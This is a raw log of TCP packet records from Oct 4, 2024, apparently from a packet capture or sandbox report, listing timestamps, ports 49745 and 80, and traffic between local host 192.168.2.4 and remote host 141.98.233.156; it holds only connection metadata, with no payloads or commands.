Oct 4, 2024 09:52:26.871505022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871536016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871567011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871562958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871583939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871598959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871618986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871630907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871646881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871661901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871689081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871694088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871725082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871726990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871746063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871757984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871776104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871792078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871805906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871839046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872014046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872044086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872067928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872076035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872097969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872108936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872126102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872140884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872157097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872172117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872189045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872203112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872219086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872258902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872513056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872544050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872570038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872576952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872596979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872607946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872627974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872658968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872670889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872689962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872711897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872720957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872735023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872751951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872770071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872783899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872806072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872813940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872831106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872845888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872865915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872879028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872889996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872910023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.872931004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872956038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.872956991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873008966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873016119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873070002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873334885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873362064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873390913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873393059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873411894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873425961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873445988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873456001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873469114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873487949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873516083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873518944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873549938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873553038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873574018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873579979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873598099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873611927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873635054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873640060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873655081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873671055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873693943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873703003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873723030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873733997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873744965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873764992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873781919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873795986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873819113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873827934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873842001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873857975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.873872995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.873910904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874218941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874249935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874278069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874281883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874300003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874314070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874341965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874345064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874376059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874377012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874393940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874403954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874428034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874435902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874453068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874466896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874489069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874496937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874515057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874528885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874543905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874560118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874579906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874591112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874603987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874618053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874640942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874650002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874660969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874680996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874696016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874711990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874731064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874742985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.874759912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874794006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.874984980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.875031948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.875050068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.875065088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.875085115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.875122070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915523052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915556908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915591002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915662050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915684938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915685892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915685892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915693045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915720940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915724993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915738106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915756941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915771008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915788889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.915802956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.915833950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960031986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960097075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960130930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960165024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960200071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960227966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960231066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960259914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960263968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960288048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960315943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960315943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960349083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960361958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960380077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960391998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960411072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960421085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960443020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960455894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960475922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960484982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960506916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960517883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960540056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960556984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960570097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960608959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960609913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960649967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960649967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960863113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960895061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960928917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.960948944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.960949898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961009026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961010933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961044073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961067915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961076021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961092949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961108923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961128950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961143017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961168051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961174965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961201906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961205959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961237907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961246014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961246014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961270094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961293936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961301088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961317062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961334944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961366892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961369038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961390018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961416960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961659908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961692095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961718082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961723089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961740971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961755037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961776018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961787939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961806059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961821079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961841106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961853027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961863041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961884975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961903095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961916924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961936951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.961949110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.961981058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962013006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962013960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962081909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962090969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962090969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962111950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962135077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962145090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962160110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962177038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962198019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962208033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962217093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962239981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962256908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962289095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962644100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962680101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962696075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962712049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962732077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962742090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962773085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962774038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962794065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962805986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962826967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962837934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962847948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962871075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962888002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962903023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962923050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962934971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962944984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962965965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.962982893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.962997913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963016033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963046074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963064909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963079929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963102102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963126898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963144064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963217974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963249922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963267088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963279963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963299036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963300943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963337898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963366985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963742018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963774920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963794947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963808060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963824034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963840008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963859081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963871956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963891983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963905096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963916063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963937044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963953018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.963968992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.963984013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964000940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964019060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964032888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964046001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964063883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964090109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964097023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964123011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964128017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964142084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964159966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964175940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964209080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964229107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964262009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964279890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964293003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964302063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964324951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964344025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964370966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964596033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964644909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964647055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964675903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964694023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964706898 CEST	80	49745	141.98.233.156	192.168.2.4
